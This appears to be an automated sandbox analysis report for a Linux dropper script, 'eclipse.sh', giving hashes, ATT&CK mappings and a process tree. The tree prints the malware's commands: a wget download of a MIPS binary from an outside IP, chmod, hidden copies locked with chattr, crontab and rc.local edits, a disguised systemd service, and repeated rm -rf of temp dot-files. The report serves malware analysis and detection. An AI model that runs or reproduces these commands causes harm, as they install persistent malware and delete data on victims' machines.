7a4432b5712258fe21392aaa5f336b8330c4ab86592829c0a5e5a24ba763c0b4

Analysis

max time kernel
145s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
02/10/2026, 18:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
eclipse.sh
Size 485B
Sample261002-w95fcsvgjd
SHA256 7a4432b5712258fe21392aaa5f336b8330c4ab86592829c0a5e5a24ba763c0b4
MD5 51a941cf8f230d71724db1a19cd9d1e5
SHA1 1f36de11b2cabcfcee49c8b0943c49a8f876f33a
SHA512 1248266bb824fc0a2bcecfb2a621b6b23ff46cf3910d42eea171d3a66a90c00b200b44987f6afe29c3db96acbff08e34a45148793f8cab3f51202253bde173ce
TLSH
T103F097C6F0207D32C2C6240C1F0A71E691DA0C892A80DD98A4C3FCB4FC1A24978A3B44
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
747	chmod
761	sh
762	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.e	726	eclipse.sh

Unexpected DNS network traffic destination 8 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	103.18.82.62
Destination IP	103.18.82.62
Destination IP	103.18.82.62
Destination IP	103.18.82.62
Destination IP	103.18.82.62
Destination IP	103.18.82.62
Destination IP	103.18.82.62
Destination IP	103.18.82.62

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.nhD1ru	crontab

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	.e

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/.eclipse.service	sh

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	.e

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/243/fd	.e
File opened for reading	/proc/714/fd	.e
File opened for reading	/proc/731/fd	.e
File opened for reading	/proc/748/fd	.e
File opened for reading	/proc/81/fd	.e
File opened for reading	/proc/391/fd	.e
File opened for reading	/proc/686/fd	.e
File opened for reading	/proc/690/fd	.e
File opened for reading	/proc/723/fd	.e
File opened for reading	/proc/943/fd	.e
File opened for reading	/proc/21/fd	.e
File opened for reading	/proc/309/fd	.e
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/845/fd	.e
File opened for reading	/proc/872/fd	.e
File opened for reading	/proc/15/fd	.e
File opened for reading	/proc/109/fd	.e
File opened for reading	/proc/398/fd	.e
File opened for reading	/proc/727/fd	.e
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/938/fd	.e
File opened for reading	/proc/942/fd	.e
File opened for reading	/proc/17/fd	.e
File opened for reading	/proc/20/fd	.e
File opened for reading	/proc/24/fd	.e
File opened for reading	/proc/679/fd	.e
File opened for reading	/proc/944/fd	.e
File opened for reading	/proc/946/fd	.e
File opened for reading	/proc/6/fd	.e
File opened for reading	/proc/10/fd	.e
File opened for reading	/proc/72/fd	.e
File opened for reading	/proc/78/fd	.e
File opened for reading	/proc/334/fd	.e
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/16/fd	.e
File opened for reading	/proc/19/fd	.e
File opened for reading	/proc/335/fd	.e
File opened for reading	/proc/392/fd	.e
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/818/fd	.e
File opened for reading	/proc/13/fd	.e
File opened for reading	/proc/37/fd	.e
File opened for reading	/proc/177/fd	.e
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/939/fd	.e
File opened for reading	/proc/945/fd	.e
File opened for reading	/proc/2/fd	.e
File opened for reading	/proc/7/fd	.e
File opened for reading	/proc/22/fd	.e
File opened for reading	/proc/82/fd	.e
File opened for reading	/proc/14/fd	.e
File opened for reading	/proc/150/fd	.e
File opened for reading	/proc/246/fd	.e
File opened for reading	/proc/868/fd	.e
File opened for reading	/proc/18/fd	.e
File opened for reading	/proc/77/fd	.e
File opened for reading	/proc/426/fd	.e
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/841/fd	.e
File opened for reading	/proc/937/fd	.e

System Network Configuration Discovery 1 TTPs 40 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
950	rm
1086	rm
726	eclipse.sh
736	wget
767	sh
958	rm
966	rm
974	rm
982	rm
1030	rm
775	sh
820	rm
908	rm
932	rm
1062	rm
755	sh
766	chattr
772	sh
814	rm
990	rm
1046	rm
1070	rm
756	cp
865	rm
1014	rm
759	cp
998	rm
1022	rm
1038	rm
1054	rm
1078	rm
897	rm
916	rm
1006	rm
758	sh
773	sed
774	sh
924	rm
764	sh
769	grep

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.e	wget

/tmp/eclipse.sh
/tmp/eclipse.sh
1⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:726
- /bin/uname
  uname -m
  2⤵
  PID:728
- /bin/rm
  rm -f .e
  2⤵
  PID:732
- /usr/bin/wget
  wget -q http://176.65.139.78/eclipse.mips -O .e
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:736
- /bin/chmod
  chmod +x .e
  2⤵
  - File and Directory Permissions Modification
  PID:747

/tmp/.e
./.e
1⤵
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:726
- /bin/sh
  sh -c "echo '0' > /proc/sys/kernel/pid_max 2>/dev/null"
  2⤵
  PID:752
- /bin/sh
  sh -c "ulimit -u 50 2>/dev/null"
  2⤵
  PID:753
- /bin/sh
  sh -c "cp /tmp/.e /var/tmp/.eclipse 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:755
- - /bin/cp
    cp /tmp/.e /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:756
- /bin/sh
  sh -c "cp /tmp/.e /usr/lib/.eclipse 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:758
- - /bin/cp
    cp /tmp/.e /usr/lib/.eclipse
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:759
- /bin/sh
  sh -c "chmod +x /var/tmp/.eclipse /usr/lib/.eclipse 2>/dev/null"
  2⤵
  - File and Directory Permissions Modification
  PID:761
- - /bin/chmod
    chmod +x /var/tmp/.eclipse /usr/lib/.eclipse
    3⤵
    - File and Directory Permissions Modification
    PID:762
- /bin/sh
  sh -c "chattr +i /var/tmp/.eclipse 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:764
- - /usr/bin/chattr
    chattr +i /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:766
- /bin/sh
  sh -c "crontab -l 2>/dev/null | grep -v '.eclipse' | crontab - 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:767
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    PID:770
- - /usr/bin/crontab
    crontab -l
    3⤵
    - Reads runtime system information
    PID:768
- - /bin/grep
    grep -v .eclipse
    3⤵
    - System Network Configuration Discovery
    PID:769
- /bin/sh
  sh -c "sed -i '/.eclipse/d' /etc/rc.local 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:772
- - /bin/sed
    sed -i /.eclipse/d /etc/rc.local
    3⤵
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:773
- /bin/sh
  sh -c "echo '[Unit] Description=System Service After=network.target [Service] Type=simple ExecStart=/var/tmp/.eclipse Restart=on-failure RestartSec=30 [Install] WantedBy=multi-user.target' > /etc/systemd/system/.eclipse.service 2>/dev/null"
  2⤵
  - Modifies systemd
  - System Network Configuration Discovery
  PID:774
- /bin/sh
  sh -c "systemctl daemon-reload 2>/dev/null; systemctl enable .eclipse 2>/dev/null"
  2⤵
  - System Network Configuration Discovery
  PID:775
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:776
- - /bin/systemctl
    systemctl enable .eclipse
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:790
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:810
- - /bin/rm
    rm -rf /tmp/. /tmp/.. /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix /tmp/.e /tmp/.font-unix
    3⤵
    PID:811
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:813
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:814
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:815
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:817
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:819
- - /bin/rm
    rm -rf /run/. /run/.. /run/.eclipse.lock
    3⤵
    - System Network Configuration Discovery
    PID:820
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:862
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:863
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:864
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:865
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:867
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:869
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:870
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:871
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:894
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:895
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:896
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:897
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:898
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:899
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:900
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:901
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:905
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:906
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:907
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:908
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:909
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:910
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:911
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:912
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:913
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:914
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:915
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:916
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:917
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:918
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:919
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:920
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:921
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:922
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:923
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:924
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:925
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:926
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:927
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:928
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:929
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:930
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:931
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:932
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:933
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:934
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:935
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:936
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:947
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:948
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:949
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:950
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:951
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:952
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:953
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:954
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:955
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:956
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:957
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:958
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:959
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:960
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:961
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:962
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:963
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:964
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:965
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:966
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:967
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:968
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:969
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:970
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:971
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:972
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:973
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:974
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:975
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:976
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:977
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:978
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:979
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:980
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:981
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:982
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:983
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:984
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:985
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:986
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:987
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:988
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:989
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:990
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:991
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:992
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:993
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:994
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:995
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:996
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:997
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:998
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:999
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1000
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1001
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1002
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1003
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1004
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1005
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1006
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1007
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1008
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1009
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1010
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1011
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1012
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1013
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1014
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1015
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1016
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1017
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1018
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1019
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1020
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1021
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1022
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1023
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1024
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1025
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1026
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1027
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1028
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1029
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1030
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1031
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1032
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1033
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1034
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1035
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1036
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1037
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1038
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1039
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1040
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1041
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1042
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1043
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1044
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1045
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1046
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1047
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1048
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1049
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1050
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1051
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1052
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1053
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1054
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1055
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1056
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1057
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1058
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1059
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1060
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1061
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1062
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1063
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1064
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1065
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1066
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1067
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1068
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1069
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1070
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1071
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1072
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1073
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1074
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1075
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1076
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1077
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1078
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1079
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1080
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1081
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1082
- /bin/sh
  sh -c "rm -rf /tmp/.* 2>/dev/null"
  2⤵
  PID:1083
- - /bin/rm
    rm -rf /tmp/. /tmp/..
    3⤵
    PID:1084
- /bin/sh
  sh -c "rm -rf /var/tmp/.* 2>/dev/null"
  2⤵
  PID:1085
- - /bin/rm
    rm -rf /var/tmp/. /var/tmp/.. /var/tmp/.eclipse
    3⤵
    - System Network Configuration Discovery
    PID:1086
- /bin/sh
  sh -c "rm -rf /dev/shm/.* 2>/dev/null"
  2⤵
  PID:1087
- - /bin/rm
    rm -rf /dev/shm/. /dev/shm/..
    3⤵
    PID:1088
- /bin/sh
  sh -c "rm -rf /run/.* 2>/dev/null"
  2⤵
  PID:1089
- - /bin/rm
    rm -rf /run/. /run/..
    3⤵
    PID:1090

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

